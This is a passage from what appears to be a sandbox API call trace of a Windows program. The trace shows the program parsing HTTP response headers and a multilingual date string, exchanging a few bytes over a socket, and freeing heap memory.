returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Version", cchCount2=15) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Language", cchCount2=16) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Type", cchCount2=12) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Type", cchCount2=12) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UTF-8", cchCount1=1, lpString2="\"", cchCount2=1) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="charset=UTF-8", cchCount1=7, lpString2="charset", cchCount2=7) returned 2 [0118.208] GetCurrentThreadId () returned 0x9fc [0118.208] GetCurrentThreadId () returned 0x9fc [0118.208] GetCurrentThreadId () returned 0x9fc [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Length", cchCount2=14) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Range", cchCount2=13) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Date", cchCount2=4) returned 2 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sun", cchCount1=3, lpString2="SUN", cchCount2=3) returned 2 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JAN", cchCount2=3) returned 1 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FEB", cchCount2=3) returned 1 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAR", cchCount2=3) returned 1 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="APR", cchCount2=3) returned 1 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAY", cchCount2=3) returned 1 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUN", cchCount2=3) returned 1 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUL", cchCount2=3) returned 1 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AUG", cchCount2=3) returned 1 [0118.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEP", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OCT", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NOV", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEC", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUNE", cchCount2=4) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JULY", cchCount2=4) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRZ", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEZ", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="ENO", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FBRO", cchCount2=4) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MZO", cchCount2=3) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AB", cchCount2=2) returned 1 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AGTO", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SBRE", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OBRE", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NBRE", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DBRE", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRT", cchCount2=3) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MEI", cchCount2=3) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JANV", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉV", cchCount2=3) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MARS", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVR", cchCount2=3) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIN", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIL", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛ", cchCount2=3) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DÉC", cchCount2=3) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉVR", cchCount2=4) returned 1 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUI", cchCount2=3) returned 1 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛT", cchCount2=4) returned 1 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAJ", cchCount2=3) returned 1 [0118.211] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa84 | out: lpTimeZoneInformation=0x18fa84) returned 0x2 [0118.213] LoadStringW (in: hInstance=0x400000, uID=0xfea1, lpBuffer=0x18db44, cchBufferMax=4096 | out: lpBuffer="Chunk Started") returned 0xd [0118.213] GetTickCount64 () returned 0x1150484 [0118.213] GetTickCount64 () returned 0x1150484 [0118.213] GetTickCount64 () returned 0x1150484 [0118.213] select (in: nfds=0, readfds=0x18f8e4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f8e4, writefds=0x0, exceptfds=0x0) returned 1 [0118.213] SetLastError (dwErrCode=0x0) [0118.214] SetLastError (dwErrCode=0x0) [0118.214] WSASetLastError (iError=0) [0118.214] recv (in: s=0x12c, buf=0x2d3b9d3, len=5, flags=0 | out: buf=0x2d3b9d3*) returned 5 [0118.214] SetLastError (dwErrCode=0x0) [0118.214] WSASetLastError (iError=0) [0118.214] recv (in: s=0x12c, buf=0x2d3b9d8, len=29, flags=0 | out: buf=0x2d3b9d8*) returned 29 [0118.214] GetTickCount64 () returned 0x1150484 [0118.214] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0118.214] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0118.214] WSASetLastError (iError=0) [0118.214] send (s=0x12c, buf=0x2d3ff23*, len=31, flags=0) returned 31 [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29c10 | out: hHeap=0x2a0000) returned 1 [0118.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29bd8 | out: hHeap=0x2a0000) returned 1 [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34c90 | out: hHeap=0x2a0000) returned 1 [0118.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c88 | out: hHeap=0x2a0000) returned 1 [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.215] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d251f0 | out: hHeap=0x2a0000) returned 1 [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.216] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] GetCurrentThreadId () returned 0x9fc [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49db8 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35380 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48080 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35548 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48c88 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47ec0 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d499d0 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d295a8 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35650 | out: hHeap=0x2a0000) returned 1 [0118.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48040 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352c0 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48d68 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35770 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48020 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35428 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48000 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357a0 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48030 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48dc8 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35788 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35740 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35320 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48010 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48da8 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35728 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48e48 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35758 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47fe0 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48e28 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d355d8 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49700 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356f8 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47ff0 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48ca8 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356e0 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d498c8 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35698 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48060 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48e08 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35710 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49918 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356c8 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48070 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48d08 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356b0 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49988 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 